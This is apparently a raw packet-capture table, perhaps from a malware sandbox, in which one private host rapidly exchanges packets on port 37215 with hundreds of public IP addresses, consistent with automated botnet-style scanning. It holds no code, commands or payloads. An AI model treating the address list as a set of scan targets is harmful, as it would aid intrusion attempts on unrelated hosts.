Jan 5, 2025 14:34:51.718858957 CET	29479	37215	192.168.2.13	41.19.166.133
Jan 5, 2025 14:34:51.718858957 CET	29479	37215	192.168.2.13	41.8.30.91
Jan 5, 2025 14:34:51.718859911 CET	29479	37215	192.168.2.13	156.218.187.106
Jan 5, 2025 14:34:51.718863964 CET	37215	29479	41.254.75.15	192.168.2.13
Jan 5, 2025 14:34:51.718864918 CET	29479	37215	192.168.2.13	156.88.155.128
Jan 5, 2025 14:34:51.718868017 CET	29479	37215	192.168.2.13	156.255.139.215
Jan 5, 2025 14:34:51.718874931 CET	37215	29479	41.172.224.67	192.168.2.13
Jan 5, 2025 14:34:51.718879938 CET	29479	37215	192.168.2.13	156.64.87.47
Jan 5, 2025 14:34:51.718879938 CET	29479	37215	192.168.2.13	197.60.138.82
Jan 5, 2025 14:34:51.718883991 CET	37215	29479	156.29.56.92	192.168.2.13
Jan 5, 2025 14:34:51.718887091 CET	29479	37215	192.168.2.13	197.96.31.0
Jan 5, 2025 14:34:51.718894005 CET	37215	29479	197.203.83.162	192.168.2.13
Jan 5, 2025 14:34:51.718903065 CET	37215	29479	156.126.78.211	192.168.2.13
Jan 5, 2025 14:34:51.718911886 CET	37215	29479	41.182.70.62	192.168.2.13
Jan 5, 2025 14:34:51.718928099 CET	37215	29479	41.200.188.11	192.168.2.13
Jan 5, 2025 14:34:51.718945980 CET	37215	29479	197.158.150.50	192.168.2.13
Jan 5, 2025 14:34:51.718952894 CET	29479	37215	192.168.2.13	156.126.78.211
Jan 5, 2025 14:34:51.718955994 CET	37215	29479	197.125.8.61	192.168.2.13
Jan 5, 2025 14:34:51.718956947 CET	29479	37215	192.168.2.13	41.182.70.62
Jan 5, 2025 14:34:51.718957901 CET	29479	37215	192.168.2.13	156.29.56.92
Jan 5, 2025 14:34:51.718961000 CET	29479	37215	192.168.2.13	41.254.75.15
Jan 5, 2025 14:34:51.718961000 CET	29479	37215	192.168.2.13	197.203.83.162
Jan 5, 2025 14:34:51.718961000 CET	29479	37215	192.168.2.13	41.172.224.67
Jan 5, 2025 14:34:51.718965054 CET	37215	29479	156.195.230.243	192.168.2.13
Jan 5, 2025 14:34:51.718976021 CET	37215	29479	156.233.138.121	192.168.2.13
Jan 5, 2025 14:34:51.718986034 CET	37215	29479	41.172.233.144	192.168.2.13
Jan 5, 2025 14:34:51.719010115 CET	29479	37215	192.168.2.13	156.233.138.121
Jan 5, 2025 14:34:51.719012022 CET	29479	37215	192.168.2.13	156.195.230.243
Jan 5, 2025 14:34:51.719013929 CET	29479	37215	192.168.2.13	197.158.150.50
Jan 5, 2025 14:34:51.719013929 CET	29479	37215	192.168.2.13	41.172.233.144
Jan 5, 2025 14:34:51.719027996 CET	29479	37215	192.168.2.13	41.200.188.11
Jan 5, 2025 14:34:51.719027996 CET	29479	37215	192.168.2.13	197.125.8.61
Jan 5, 2025 14:34:51.719031096 CET	37215	29479	197.132.40.247	192.168.2.13
Jan 5, 2025 14:34:51.719042063 CET	37215	29479	41.232.203.93	192.168.2.13
Jan 5, 2025 14:34:51.719050884 CET	37215	29479	41.36.170.30	192.168.2.13
Jan 5, 2025 14:34:51.719059944 CET	37215	29479	197.100.220.57	192.168.2.13
Jan 5, 2025 14:34:51.719069004 CET	37215	29479	197.247.78.82	192.168.2.13
Jan 5, 2025 14:34:51.719078064 CET	37215	29479	41.214.12.69	192.168.2.13
Jan 5, 2025 14:34:51.719086885 CET	37215	29479	41.82.207.46	192.168.2.13
Jan 5, 2025 14:34:51.719093084 CET	29479	37215	192.168.2.13	41.232.203.93
Jan 5, 2025 14:34:51.719098091 CET	37215	29479	156.141.115.233	192.168.2.13
Jan 5, 2025 14:34:51.719115019 CET	29479	37215	192.168.2.13	41.36.170.30
Jan 5, 2025 14:34:51.719141006 CET	29479	37215	192.168.2.13	41.82.207.46
Jan 5, 2025 14:34:51.719142914 CET	29479	37215	192.168.2.13	197.132.40.247
Jan 5, 2025 14:34:51.719142914 CET	29479	37215	192.168.2.13	156.141.115.233
Jan 5, 2025 14:34:51.719142914 CET	29479	37215	192.168.2.13	197.100.220.57
Jan 5, 2025 14:34:51.719145060 CET	29479	37215	192.168.2.13	197.247.78.82
Jan 5, 2025 14:34:51.719145060 CET	29479	37215	192.168.2.13	41.214.12.69
Jan 5, 2025 14:34:51.719147921 CET	37215	29479	197.113.138.108	192.168.2.13
Jan 5, 2025 14:34:51.719166994 CET	37215	29479	156.233.61.170	192.168.2.13
Jan 5, 2025 14:34:51.719176054 CET	37215	29479	41.72.218.62	192.168.2.13
Jan 5, 2025 14:34:51.719185114 CET	37215	29479	41.171.143.145	192.168.2.13
Jan 5, 2025 14:34:51.719194889 CET	37215	29479	156.20.37.112	192.168.2.13
Jan 5, 2025 14:34:51.719198942 CET	37215	29479	41.7.178.161	192.168.2.13
Jan 5, 2025 14:34:51.719204903 CET	37215	29479	41.24.113.224	192.168.2.13
Jan 5, 2025 14:34:51.719208956 CET	37215	29479	197.112.77.190	192.168.2.13
Jan 5, 2025 14:34:51.719217062 CET	37215	29479	156.108.47.137	192.168.2.13
Jan 5, 2025 14:34:51.719222069 CET	37215	29479	41.248.19.218	192.168.2.13
Jan 5, 2025 14:34:51.719225883 CET	37215	29479	41.254.38.116	192.168.2.13
Jan 5, 2025 14:34:51.719229937 CET	37215	29479	156.30.9.47	192.168.2.13
Jan 5, 2025 14:34:51.719233036 CET	29479	37215	192.168.2.13	156.233.61.170
Jan 5, 2025 14:34:51.719234943 CET	37215	29479	41.16.186.169	192.168.2.13
Jan 5, 2025 14:34:51.719237089 CET	29479	37215	192.168.2.13	41.72.218.62
Jan 5, 2025 14:34:51.719238997 CET	37215	29479	197.235.244.16	192.168.2.13
Jan 5, 2025 14:34:51.719240904 CET	29479	37215	192.168.2.13	41.171.143.145
Jan 5, 2025 14:34:51.719240904 CET	29479	37215	192.168.2.13	197.113.138.108
Jan 5, 2025 14:34:51.719249010 CET	37215	29479	41.239.15.40	192.168.2.13
Jan 5, 2025 14:34:51.719249964 CET	29479	37215	192.168.2.13	41.7.178.161
Jan 5, 2025 14:34:51.719255924 CET	29479	37215	192.168.2.13	156.20.37.112
Jan 5, 2025 14:34:51.719257116 CET	29479	37215	192.168.2.13	41.24.113.224
Jan 5, 2025 14:34:51.719257116 CET	29479	37215	192.168.2.13	41.254.38.116
Jan 5, 2025 14:34:51.719259977 CET	37215	29479	156.122.226.193	192.168.2.13
Jan 5, 2025 14:34:51.719269991 CET	37215	29479	156.251.12.197	192.168.2.13
Jan 5, 2025 14:34:51.719280005 CET	37215	29479	197.136.101.209	192.168.2.13
Jan 5, 2025 14:34:51.719289064 CET	37215	29479	41.23.103.197	192.168.2.13
Jan 5, 2025 14:34:51.719299078 CET	37215	29479	156.225.164.86	192.168.2.13
Jan 5, 2025 14:34:51.719322920 CET	29479	37215	192.168.2.13	41.16.186.169
Jan 5, 2025 14:34:51.719322920 CET	29479	37215	192.168.2.13	41.239.15.40
Jan 5, 2025 14:34:51.719322920 CET	29479	37215	192.168.2.13	156.251.12.197
Jan 5, 2025 14:34:51.719325066 CET	29479	37215	192.168.2.13	156.122.226.193
Jan 5, 2025 14:34:51.719331026 CET	29479	37215	192.168.2.13	156.108.47.137
Jan 5, 2025 14:34:51.719357967 CET	29479	37215	192.168.2.13	197.136.101.209
Jan 5, 2025 14:34:51.719364882 CET	29479	37215	192.168.2.13	41.23.103.197
Jan 5, 2025 14:34:51.719364882 CET	29479	37215	192.168.2.13	156.225.164.86
Jan 5, 2025 14:34:51.719379902 CET	29479	37215	192.168.2.13	197.112.77.190
Jan 5, 2025 14:34:51.719379902 CET	29479	37215	192.168.2.13	41.248.19.218
Jan 5, 2025 14:34:51.719379902 CET	29479	37215	192.168.2.13	156.30.9.47
Jan 5, 2025 14:34:51.719379902 CET	29479	37215	192.168.2.13	197.235.244.16
Jan 5, 2025 14:34:51.719513893 CET	37215	29479	156.43.189.192	192.168.2.13
Jan 5, 2025 14:34:51.719523907 CET	37215	29479	41.148.147.70	192.168.2.13
Jan 5, 2025 14:34:51.719532967 CET	37215	29479	156.243.109.113	192.168.2.13
Jan 5, 2025 14:34:51.719542980 CET	37215	29479	197.49.199.148	192.168.2.13
Jan 5, 2025 14:34:51.719553947 CET	37215	29479	41.108.229.87	192.168.2.13
Jan 5, 2025 14:34:51.719563007 CET	37215	29479	41.137.125.72	192.168.2.13
Jan 5, 2025 14:34:51.719567060 CET	29479	37215	192.168.2.13	156.243.109.113
Jan 5, 2025 14:34:51.719567060 CET	29479	37215	192.168.2.13	197.49.199.148
Jan 5, 2025 14:34:51.719572067 CET	37215	29479	41.62.163.85	192.168.2.13
Jan 5, 2025 14:34:51.719577074 CET	29479	37215	192.168.2.13	41.108.229.87
Jan 5, 2025 14:34:51.719582081 CET	37215	29479	41.156.164.19	192.168.2.13
Jan 5, 2025 14:34:51.719590902 CET	37215	29479	156.27.80.89	192.168.2.13
Jan 5, 2025 14:34:51.719598055 CET	29479	37215	192.168.2.13	41.137.125.72
Jan 5, 2025 14:34:51.719599009 CET	37215	29479	197.169.104.42	192.168.2.13
Jan 5, 2025 14:34:51.719599962 CET	29479	37215	192.168.2.13	41.62.163.85
Jan 5, 2025 14:34:51.719604969 CET	29479	37215	192.168.2.13	41.156.164.19
Jan 5, 2025 14:34:51.719609022 CET	37215	29479	156.58.186.145	192.168.2.13
Jan 5, 2025 14:34:51.719615936 CET	29479	37215	192.168.2.13	156.43.189.192
Jan 5, 2025 14:34:51.719615936 CET	29479	37215	192.168.2.13	41.148.147.70
Jan 5, 2025 14:34:51.719619989 CET	37215	29479	156.222.140.232	192.168.2.13
Jan 5, 2025 14:34:51.719624996 CET	29479	37215	192.168.2.13	197.169.104.42
Jan 5, 2025 14:34:51.719630003 CET	37215	29479	156.98.107.139	192.168.2.13
Jan 5, 2025 14:34:51.719631910 CET	29479	37215	192.168.2.13	156.27.80.89
Jan 5, 2025 14:34:51.719640970 CET	37215	29479	197.144.181.13	192.168.2.13
Jan 5, 2025 14:34:51.719645023 CET	29479	37215	192.168.2.13	156.58.186.145
Jan 5, 2025 14:34:51.719647884 CET	29479	37215	192.168.2.13	156.222.140.232
Jan 5, 2025 14:34:51.719650984 CET	37215	29479	41.14.205.117	192.168.2.13
Jan 5, 2025 14:34:51.719660997 CET	37215	29479	41.124.152.186	192.168.2.13
Jan 5, 2025 14:34:51.719666004 CET	29479	37215	192.168.2.13	156.98.107.139
Jan 5, 2025 14:34:51.719670057 CET	37215	29479	156.49.159.92	192.168.2.13
Jan 5, 2025 14:34:51.719679117 CET	29479	37215	192.168.2.13	197.144.181.13
Jan 5, 2025 14:34:51.719680071 CET	37215	29479	197.80.106.248	192.168.2.13
Jan 5, 2025 14:34:51.719681978 CET	29479	37215	192.168.2.13	41.14.205.117
Jan 5, 2025 14:34:51.719690084 CET	37215	29479	156.33.35.45	192.168.2.13
Jan 5, 2025 14:34:51.719698906 CET	37215	29479	197.196.218.213	192.168.2.13
Jan 5, 2025 14:34:51.719707966 CET	37215	29479	156.96.241.84	192.168.2.13
Jan 5, 2025 14:34:51.719717026 CET	37215	29479	197.116.93.148	192.168.2.13
Jan 5, 2025 14:34:51.719727039 CET	37215	29479	41.69.215.93	192.168.2.13
Jan 5, 2025 14:34:51.719738960 CET	37215	29479	197.232.51.110	192.168.2.13
Jan 5, 2025 14:34:51.719747066 CET	37215	29479	156.195.220.109	192.168.2.13
Jan 5, 2025 14:34:51.719755888 CET	37215	29479	156.9.55.72	192.168.2.13
Jan 5, 2025 14:34:51.719764948 CET	37215	29479	41.145.125.29	192.168.2.13
Jan 5, 2025 14:34:51.719774008 CET	37215	29479	41.6.193.156	192.168.2.13
Jan 5, 2025 14:34:51.719783068 CET	29479	37215	192.168.2.13	156.49.159.92
Jan 5, 2025 14:34:51.719783068 CET	29479	37215	192.168.2.13	156.33.35.45
Jan 5, 2025 14:34:51.719783068 CET	29479	37215	192.168.2.13	197.196.218.213
Jan 5, 2025 14:34:51.719783068 CET	29479	37215	192.168.2.13	156.96.241.84
Jan 5, 2025 14:34:51.719788074 CET	29479	37215	192.168.2.13	197.116.93.148
Jan 5, 2025 14:34:51.719788074 CET	29479	37215	192.168.2.13	41.69.215.93
Jan 5, 2025 14:34:51.719789028 CET	29479	37215	192.168.2.13	41.124.152.186
Jan 5, 2025 14:34:51.719789028 CET	29479	37215	192.168.2.13	197.80.106.248
Jan 5, 2025 14:34:51.719794035 CET	29479	37215	192.168.2.13	197.232.51.110
Jan 5, 2025 14:34:51.719794035 CET	29479	37215	192.168.2.13	156.195.220.109
Jan 5, 2025 14:34:51.719794035 CET	29479	37215	192.168.2.13	41.145.125.29
Jan 5, 2025 14:34:51.719794035 CET	29479	37215	192.168.2.13	156.9.55.72
Jan 5, 2025 14:34:51.719819069 CET	29479	37215	192.168.2.13	41.6.193.156
Jan 5, 2025 14:34:51.719898939 CET	37215	29479	156.141.101.219	192.168.2.13
Jan 5, 2025 14:34:51.719928980 CET	37215	29479	41.187.93.226	192.168.2.13
Jan 5, 2025 14:34:51.719938040 CET	37215	29479	156.16.23.0	192.168.2.13
Jan 5, 2025 14:34:51.719947100 CET	37215	29479	197.82.230.55	192.168.2.13
Jan 5, 2025 14:34:51.719955921 CET	37215	29479	156.88.186.105	192.168.2.13
Jan 5, 2025 14:34:51.719965935 CET	37215	29479	41.194.144.29	192.168.2.13
Jan 5, 2025 14:34:51.719974995 CET	37215	29479	41.8.74.192	192.168.2.13
Jan 5, 2025 14:34:51.719984055 CET	37215	29479	197.119.132.14	192.168.2.13
Jan 5, 2025 14:34:51.719991922 CET	37215	29479	197.196.5.50	192.168.2.13
Jan 5, 2025 14:34:51.720000982 CET	37215	29479	41.205.3.80	192.168.2.13
Jan 5, 2025 14:34:51.720005989 CET	29479	37215	192.168.2.13	156.141.101.219
Jan 5, 2025 14:34:51.720005989 CET	29479	37215	192.168.2.13	41.187.93.226
Jan 5, 2025 14:34:51.720005989 CET	29479	37215	192.168.2.13	156.16.23.0
Jan 5, 2025 14:34:51.720005989 CET	29479	37215	192.168.2.13	197.82.230.55
Jan 5, 2025 14:34:51.720005989 CET	29479	37215	192.168.2.13	41.194.144.29
Jan 5, 2025 14:34:51.720007896 CET	29479	37215	192.168.2.13	156.88.186.105
Jan 5, 2025 14:34:51.720007896 CET	29479	37215	192.168.2.13	41.8.74.192
Jan 5, 2025 14:34:51.720011950 CET	37215	29479	41.93.85.8	192.168.2.13
Jan 5, 2025 14:34:51.720021963 CET	37215	29479	156.122.87.248	192.168.2.13
Jan 5, 2025 14:34:51.720024109 CET	29479	37215	192.168.2.13	197.196.5.50
Jan 5, 2025 14:34:51.720031023 CET	37215	29479	156.29.43.93	192.168.2.13
Jan 5, 2025 14:34:51.720031023 CET	29479	37215	192.168.2.13	41.205.3.80
Jan 5, 2025 14:34:51.720036983 CET	29479	37215	192.168.2.13	41.93.85.8
Jan 5, 2025 14:34:51.720040083 CET	37215	29479	41.252.167.172	192.168.2.13
Jan 5, 2025 14:34:51.720045090 CET	37215	29479	156.229.176.50	192.168.2.13
Jan 5, 2025 14:34:51.720048904 CET	37215	29479	197.1.145.201	192.168.2.13
Jan 5, 2025 14:34:51.720052958 CET	37215	29479	41.108.41.195	192.168.2.13
Jan 5, 2025 14:34:51.720058918 CET	29479	37215	192.168.2.13	197.119.132.14
Jan 5, 2025 14:34:51.720063925 CET	37215	29479	156.107.222.143	192.168.2.13
Jan 5, 2025 14:34:51.720066071 CET	29479	37215	192.168.2.13	156.122.87.248
Jan 5, 2025 14:34:51.720068932 CET	37215	29479	41.129.168.255	192.168.2.13
Jan 5, 2025 14:34:51.720078945 CET	37215	29479	156.40.240.210	192.168.2.13
Jan 5, 2025 14:34:51.720083952 CET	29479	37215	192.168.2.13	41.252.167.172
Jan 5, 2025 14:34:51.720084906 CET	29479	37215	192.168.2.13	156.29.43.93
Jan 5, 2025 14:34:51.720089912 CET	37215	29479	156.14.137.61	192.168.2.13
Jan 5, 2025 14:34:51.720091105 CET	29479	37215	192.168.2.13	156.229.176.50
Jan 5, 2025 14:34:51.720098972 CET	37215	29479	41.225.127.84	192.168.2.13
Jan 5, 2025 14:34:51.720098972 CET	29479	37215	192.168.2.13	41.129.168.255
Jan 5, 2025 14:34:51.720108986 CET	37215	29479	156.58.77.185	192.168.2.13
Jan 5, 2025 14:34:51.720118999 CET	37215	29479	156.39.54.175	192.168.2.13
Jan 5, 2025 14:34:51.720122099 CET	29479	37215	192.168.2.13	197.1.145.201
Jan 5, 2025 14:34:51.720129013 CET	37215	29479	156.48.66.60	192.168.2.13
Jan 5, 2025 14:34:51.720135927 CET	29479	37215	192.168.2.13	41.108.41.195
Jan 5, 2025 14:34:51.720135927 CET	29479	37215	192.168.2.13	156.14.137.61
Jan 5, 2025 14:34:51.720138073 CET	29479	37215	192.168.2.13	156.40.240.210
Jan 5, 2025 14:34:51.720139027 CET	37215	29479	197.223.211.120	192.168.2.13
Jan 5, 2025 14:34:51.720139027 CET	29479	37215	192.168.2.13	156.107.222.143
Jan 5, 2025 14:34:51.720139027 CET	29479	37215	192.168.2.13	41.225.127.84
Jan 5, 2025 14:34:51.720149040 CET	37215	29479	156.177.58.141	192.168.2.13
Jan 5, 2025 14:34:51.720158100 CET	37215	29479	41.77.204.216	192.168.2.13
Jan 5, 2025 14:34:51.720216990 CET	29479	37215	192.168.2.13	156.48.66.60
Jan 5, 2025 14:34:51.720217943 CET	29479	37215	192.168.2.13	197.223.211.120
Jan 5, 2025 14:34:51.720218897 CET	29479	37215	192.168.2.13	156.39.54.175
Jan 5, 2025 14:34:51.720227957 CET	29479	37215	192.168.2.13	156.58.77.185
Jan 5, 2025 14:34:51.720227957 CET	29479	37215	192.168.2.13	41.77.204.216
Jan 5, 2025 14:34:51.720247984 CET	37215	29479	197.235.231.188	192.168.2.13
Jan 5, 2025 14:34:51.720257044 CET	37215	29479	41.59.164.56	192.168.2.13
Jan 5, 2025 14:34:51.720262051 CET	29479	37215	192.168.2.13	156.177.58.141
Jan 5, 2025 14:34:51.720267057 CET	37215	29479	197.79.235.221	192.168.2.13
Jan 5, 2025 14:34:51.720277071 CET	37215	29479	156.218.70.221	192.168.2.13
Jan 5, 2025 14:34:51.720285892 CET	37215	29479	156.239.243.85	192.168.2.13
Jan 5, 2025 14:34:51.720297098 CET	37215	29479	41.239.146.28	192.168.2.13
Jan 5, 2025 14:34:51.720305920 CET	37215	29479	197.41.240.1	192.168.2.13
Jan 5, 2025 14:34:51.720313072 CET	29479	37215	192.168.2.13	197.79.235.221
Jan 5, 2025 14:34:51.720313072 CET	29479	37215	192.168.2.13	41.59.164.56
Jan 5, 2025 14:34:51.720313072 CET	29479	37215	192.168.2.13	156.218.70.221
Jan 5, 2025 14:34:51.720315933 CET	37215	29479	41.115.244.235	192.168.2.13
Jan 5, 2025 14:34:51.720324993 CET	37215	29479	156.12.177.37	192.168.2.13
Jan 5, 2025 14:34:51.720334053 CET	37215	29479	41.254.132.251	192.168.2.13
Jan 5, 2025 14:34:51.720339060 CET	29479	37215	192.168.2.13	197.235.231.188
Jan 5, 2025 14:34:51.720339060 CET	29479	37215	192.168.2.13	156.239.243.85
Jan 5, 2025 14:34:51.720343113 CET	37215	29479	197.114.127.230	192.168.2.13
Jan 5, 2025 14:34:51.720351934 CET	37215	29479	156.159.243.29	192.168.2.13
Jan 5, 2025 14:34:51.720360994 CET	37215	29479	197.141.89.168	192.168.2.13
Jan 5, 2025 14:34:51.720370054 CET	37215	29479	41.211.66.43	192.168.2.13
Jan 5, 2025 14:34:51.720371962 CET	29479	37215	192.168.2.13	41.239.146.28
Jan 5, 2025 14:34:51.720380068 CET	37215	29479	156.156.115.92	192.168.2.13
Jan 5, 2025 14:34:51.720390081 CET	37215	29479	197.82.252.50	192.168.2.13
Jan 5, 2025 14:34:51.720398903 CET	37215	29479	41.56.98.126	192.168.2.13
Jan 5, 2025 14:34:51.720405102 CET	29479	37215	192.168.2.13	197.41.240.1
Jan 5, 2025 14:34:51.720408916 CET	37215	29479	156.70.241.187	192.168.2.13
Jan 5, 2025 14:34:51.720411062 CET	29479	37215	192.168.2.13	41.254.132.251
Jan 5, 2025 14:34:51.720411062 CET	29479	37215	192.168.2.13	197.114.127.230
Jan 5, 2025 14:34:51.720411062 CET	29479	37215	192.168.2.13	156.159.243.29
Jan 5, 2025 14:34:51.720412970 CET	29479	37215	192.168.2.13	197.141.89.168
Jan 5, 2025 14:34:51.720418930 CET	37215	29479	41.162.125.242	192.168.2.13
Jan 5, 2025 14:34:51.720427036 CET	37215	29479	197.200.61.43	192.168.2.13
Jan 5, 2025 14:34:51.720431089 CET	29479	37215	192.168.2.13	41.211.66.43
Jan 5, 2025 14:34:51.720431089 CET	29479	37215	192.168.2.13	156.156.115.92
Jan 5, 2025 14:34:51.720431089 CET	29479	37215	192.168.2.13	41.56.98.126
Jan 5, 2025 14:34:51.720436096 CET	37215	29479	197.48.85.53	192.168.2.13
Jan 5, 2025 14:34:51.720441103 CET	29479	37215	192.168.2.13	41.115.244.235
Jan 5, 2025 14:34:51.720441103 CET	29479	37215	192.168.2.13	156.12.177.37
Jan 5, 2025 14:34:51.720444918 CET	37215	29479	197.146.203.197	192.168.2.13
Jan 5, 2025 14:34:51.720455885 CET	37215	29479	41.125.40.90	192.168.2.13
Jan 5, 2025 14:34:51.720463037 CET	29479	37215	192.168.2.13	197.82.252.50
Jan 5, 2025 14:34:51.720467091 CET	37215	29479	197.64.10.196	192.168.2.13
Jan 5, 2025 14:34:51.720475912 CET	37215	29479	41.217.239.46	192.168.2.13
Jan 5, 2025 14:34:51.720480919 CET	29479	37215	192.168.2.13	156.70.241.187
Jan 5, 2025 14:34:51.720482111 CET	29479	37215	192.168.2.13	41.162.125.242
Jan 5, 2025 14:34:51.720485926 CET	37215	29479	197.67.199.62	192.168.2.13
Jan 5, 2025 14:34:51.720490932 CET	29479	37215	192.168.2.13	197.200.61.43
Jan 5, 2025 14:34:51.720490932 CET	29479	37215	192.168.2.13	41.125.40.90
Jan 5, 2025 14:34:51.720498085 CET	37215	29479	197.238.159.217	192.168.2.13
Jan 5, 2025 14:34:51.720503092 CET	37215	29479	41.86.194.51	192.168.2.13
Jan 5, 2025 14:34:51.720521927 CET	29479	37215	192.168.2.13	197.146.203.197
Jan 5, 2025 14:34:51.720523119 CET	29479	37215	192.168.2.13	197.48.85.53
Jan 5, 2025 14:34:51.720531940 CET	29479	37215	192.168.2.13	41.217.239.46
Jan 5, 2025 14:34:51.720535040 CET	29479	37215	192.168.2.13	197.67.199.62
Jan 5, 2025 14:34:51.720537901 CET	29479	37215	192.168.2.13	197.64.10.196
Jan 5, 2025 14:34:51.720537901 CET	29479	37215	192.168.2.13	41.86.194.51
Jan 5, 2025 14:34:51.720537901 CET	29479	37215	192.168.2.13	197.238.159.217
Jan 5, 2025 14:34:51.720659018 CET	37215	29479	41.233.14.118	192.168.2.13
Jan 5, 2025 14:34:51.720675945 CET	37215	29479	41.221.255.134	192.168.2.13
Jan 5, 2025 14:34:51.720685005 CET	37215	29479	41.251.157.134	192.168.2.13
Jan 5, 2025 14:34:51.720693111 CET	37215	29479	41.89.219.57	192.168.2.13
Jan 5, 2025 14:34:51.720696926 CET	29479	37215	192.168.2.13	41.233.14.118
Jan 5, 2025 14:34:51.720701933 CET	37215	29479	41.76.197.246	192.168.2.13
Jan 5, 2025 14:34:51.720705032 CET	29479	37215	192.168.2.13	41.221.255.134
Jan 5, 2025 14:34:51.720711946 CET	37215	29479	41.216.120.57	192.168.2.13
Jan 5, 2025 14:34:51.720715046 CET	29479	37215	192.168.2.13	41.251.157.134
Jan 5, 2025 14:34:51.720721006 CET	37215	29479	41.54.8.17	192.168.2.13
Jan 5, 2025 14:34:51.720722914 CET	29479	37215	192.168.2.13	41.89.219.57
Jan 5, 2025 14:34:51.720727921 CET	29479	37215	192.168.2.13	41.76.197.246
Jan 5, 2025 14:34:51.720731020 CET	37215	29479	41.9.116.52	192.168.2.13
Jan 5, 2025 14:34:51.720741034 CET	37215	29479	156.208.181.83	192.168.2.13
Jan 5, 2025 14:34:51.720745087 CET	37215	29479	197.178.121.129	192.168.2.13
Jan 5, 2025 14:34:51.720753908 CET	37215	29479	197.47.93.30	192.168.2.13
Jan 5, 2025 14:34:51.720757961 CET	37215	29479	197.216.74.12	192.168.2.13
Jan 5, 2025 14:34:51.720762014 CET	37215	29479	156.139.201.209	192.168.2.13
Jan 5, 2025 14:34:51.720766068 CET	37215	29479	41.1.36.164	192.168.2.13
Jan 5, 2025 14:34:51.720767975 CET	29479	37215	192.168.2.13	41.9.116.52
Jan 5, 2025 14:34:51.720769882 CET	29479	37215	192.168.2.13	41.54.8.17
Jan 5, 2025 14:34:51.720774889 CET	37215	29479	197.236.183.229	192.168.2.13
Jan 5, 2025 14:34:51.720783949 CET	37215	29479	197.87.130.235	192.168.2.13
Jan 5, 2025 14:34:51.720788002 CET	29479	37215	192.168.2.13	197.178.121.129
Jan 5, 2025 14:34:51.720789909 CET	29479	37215	192.168.2.13	41.216.120.57
Jan 5, 2025 14:34:51.720791101 CET	29479	37215	192.168.2.13	156.208.181.83
Jan 5, 2025 14:34:51.720793009 CET	37215	29479	156.89.118.79	192.168.2.13
Jan 5, 2025 14:34:51.720793009 CET	29479	37215	192.168.2.13	197.47.93.30
Jan 5, 2025 14:34:51.720794916 CET	29479	37215	192.168.2.13	197.216.74.12
Jan 5, 2025 14:34:51.720803022 CET	37215	29479	197.154.90.231	192.168.2.13
Jan 5, 2025 14:34:51.720812082 CET	37215	29479	156.108.22.113	192.168.2.13
Jan 5, 2025 14:34:51.720820904 CET	37215	29479	41.113.191.2	192.168.2.13
Jan 5, 2025 14:34:51.720829964 CET	37215	29479	197.37.248.58	192.168.2.13
Jan 5, 2025 14:34:51.720839977 CET	37215	29479	156.48.194.207	192.168.2.13
Jan 5, 2025 14:34:51.720841885 CET	29479	37215	192.168.2.13	41.1.36.164
Jan 5, 2025 14:34:51.720846891 CET	29479	37215	192.168.2.13	156.139.201.209
Jan 5, 2025 14:34:51.720849991 CET	37215	29479	41.221.134.138	192.168.2.13
Jan 5, 2025 14:34:51.720850945 CET	29479	37215	192.168.2.13	197.236.183.229
Jan 5, 2025 14:34:51.720851898 CET	29479	37215	192.168.2.13	41.113.191.2
Jan 5, 2025 14:34:51.720851898 CET	29479	37215	192.168.2.13	156.108.22.113
Jan 5, 2025 14:34:51.720856905 CET	29479	37215	192.168.2.13	197.154.90.231
Jan 5, 2025 14:34:51.720861912 CET	29479	37215	192.168.2.13	156.89.118.79
Jan 5, 2025 14:34:51.720861912 CET	37215	29479	156.184.44.251	192.168.2.13
Jan 5, 2025 14:34:51.720865011 CET	29479	37215	192.168.2.13	197.87.130.235
Jan 5, 2025 14:34:51.720869064 CET	29479	37215	192.168.2.13	197.37.248.58
Jan 5, 2025 14:34:51.720871925 CET	37215	29479	41.218.150.163	192.168.2.13
Jan 5, 2025 14:34:51.720880985 CET	37215	29479	41.88.94.41	192.168.2.13
Jan 5, 2025 14:34:51.720890999 CET	37215	29479	197.66.77.229	192.168.2.13
Jan 5, 2025 14:34:51.720899105 CET	37215	29479	156.123.197.30	192.168.2.13
Jan 5, 2025 14:34:51.720904112 CET	29479	37215	192.168.2.13	156.48.194.207
Jan 5, 2025 14:34:51.720913887 CET	29479	37215	192.168.2.13	41.88.94.41
Jan 5, 2025 14:34:51.720918894 CET	29479	37215	192.168.2.13	41.221.134.138
Jan 5, 2025 14:34:51.720918894 CET	29479	37215	192.168.2.13	197.66.77.229
Jan 5, 2025 14:34:51.720921993 CET	29479	37215	192.168.2.13	156.184.44.251
Jan 5, 2025 14:34:51.720921993 CET	29479	37215	192.168.2.13	41.218.150.163
Jan 5, 2025 14:34:51.720921993 CET	29479	37215	192.168.2.13	156.123.197.30
Jan 5, 2025 14:34:51.721072912 CET	37215	29479	41.143.43.220	192.168.2.13
Jan 5, 2025 14:34:51.721081972 CET	37215	29479	156.88.164.191	192.168.2.13
Jan 5, 2025 14:34:51.721091032 CET	37215	29479	41.107.250.204	192.168.2.13
Jan 5, 2025 14:34:51.721100092 CET	37215	29479	197.58.33.98	192.168.2.13
Jan 5, 2025 14:34:51.721108913 CET	37215	29479	41.142.28.49	192.168.2.13
Jan 5, 2025 14:34:51.721117973 CET	37215	29479	197.151.59.168	192.168.2.13
Jan 5, 2025 14:34:51.721127987 CET	37215	29479	156.26.77.173	192.168.2.13
Jan 5, 2025 14:34:51.721136093 CET	37215	29479	41.94.6.3	192.168.2.13
Jan 5, 2025 14:34:51.721137047 CET	29479	37215	192.168.2.13	41.107.250.204
Jan 5, 2025 14:34:51.721138954 CET	29479	37215	192.168.2.13	41.142.28.49
Jan 5, 2025 14:34:51.721138954 CET	29479	37215	192.168.2.13	41.143.43.220
Jan 5, 2025 14:34:51.721138954 CET	29479	37215	192.168.2.13	197.58.33.98
Jan 5, 2025 14:34:51.721146107 CET	29479	37215	192.168.2.13	197.151.59.168
Jan 5, 2025 14:34:51.721147060 CET	37215	29479	41.46.136.180	192.168.2.13
Jan 5, 2025 14:34:51.721152067 CET	29479	37215	192.168.2.13	156.26.77.173
Jan 5, 2025 14:34:51.721158028 CET	37215	29479	197.95.181.213	192.168.2.13
Jan 5, 2025 14:34:51.721158981 CET	29479	37215	192.168.2.13	41.94.6.3
Jan 5, 2025 14:34:51.721167088 CET	37215	29479	41.98.216.151	192.168.2.13
Jan 5, 2025 14:34:51.721174002 CET	29479	37215	192.168.2.13	41.46.136.180
Jan 5, 2025 14:34:51.721177101 CET	37215	29479	156.21.236.12	192.168.2.13
Jan 5, 2025 14:34:51.721185923 CET	37215	29479	41.155.214.15	192.168.2.13
